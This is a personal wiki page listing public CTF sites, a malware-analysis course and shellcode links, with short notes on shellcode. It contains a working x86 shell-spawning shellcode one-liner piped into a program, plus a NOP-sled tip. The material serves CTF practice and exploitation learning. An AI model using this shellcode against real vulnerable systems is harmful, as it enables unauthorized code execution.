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 * Shellcode: [[http://shell-storm.org/shellcode/]]  * Shellcode: [[http://shell-storm.org/shellcode/]] [[https://dhavalkapil.com/blogs/Shellcode-Injection/]]
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== Shell ==
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== NOP ==
For a NOP Sled, add a lot of times:
{{{
\x90
}}}

Public CTFs

CTF's are fun to do. I like to do some CTF's once in a while and I started to write an guide for the more special CTF's I did. Current CTF's can be found on CTFtime.org.

Name

Level

Description

Over the wire

Beginner to expert

Starting from learning SSH to reverse engineering.

Pico CTF

Beginner to expert

A good CTF to learn working on *nix systems and way beyond.

Certified Secure

Beginner to expert

A dutch site about learning the basics.

More lists of CTF's can be found on the site of Awesome CTF, CSO and Fareed Fauzi. Feel free to send me other CTF's. <ctf AT sciuro DOT org>

Helpfull rescources

Handouts

These are handouts about CTF's I did in the past. It's your call if you want to see answers.

Lectures

Not a CTF, but well worth for learning.

Name

Level

Description

UC Malware Analysis

??

Introduction to Malware Analysis and Reverse Engineering

Shellcode

Shell

Spawn a shell: 

(echo -en "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\n"; cat) | ./prog

NOP

For a NOP Sled, add a lot of times: 

\x90

CTF (last edited 2020-06-06 15:19:40 by Sciuro)